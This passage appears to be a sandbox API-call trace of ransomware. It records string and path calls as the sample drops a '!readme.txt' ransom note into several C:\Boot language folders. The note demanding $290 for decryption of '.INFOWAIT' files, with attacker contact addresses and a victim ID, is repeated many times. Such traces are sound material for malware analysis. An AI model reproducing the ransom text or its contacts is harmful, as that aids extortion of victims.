personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.612] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.614] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\!readme.txt") returned=".txt" [0113.614] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0113.615] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0113.615] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.615] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.615] PathFindFileNameW (pszPath="") returned="" [0113.615] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.615] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\it-IT\\!readme.txt") returned 1 [0113.615] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\!readme.txt") returned 0 [0113.616] lstrcpyW (in: lpString1=0x248a8e0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.616] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.618] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\!readme.txt") returned=".txt" [0113.618] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0113.618] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0113.618] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.619] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.619] PathFindFileNameW (pszPath="") returned="" [0113.619] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.619] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\!readme.txt") returned 1 [0113.619] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\!readme.txt") returned 0 [0113.619] lstrcpyW (in: lpString1=0x248c8e8, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.619] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.621] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\!readme.txt") returned=".txt" [0113.622] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0113.622] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0113.622] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.622] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.622] PathFindFileNameW (pszPath="") returned="" [0113.622] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.622] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\!readme.txt") returned 1 [0113.622] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\!readme.txt") returned 0 [0113.623] lstrcpyW (in: lpString1=0x248d8f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.623] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.629] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\!readme.txt") returned=".txt" [0113.629] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0113.629] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0113.629] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0113.629] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.629] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.629] PathFindFileNameW (pszPath="") returned="" [0113.629] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.629] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\!readme.txt") returned 1 [0113.629] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\!readme.txt") returned 0 [0113.630] lstrcpyW (in: lpString1=0x248e8f8, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.630] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 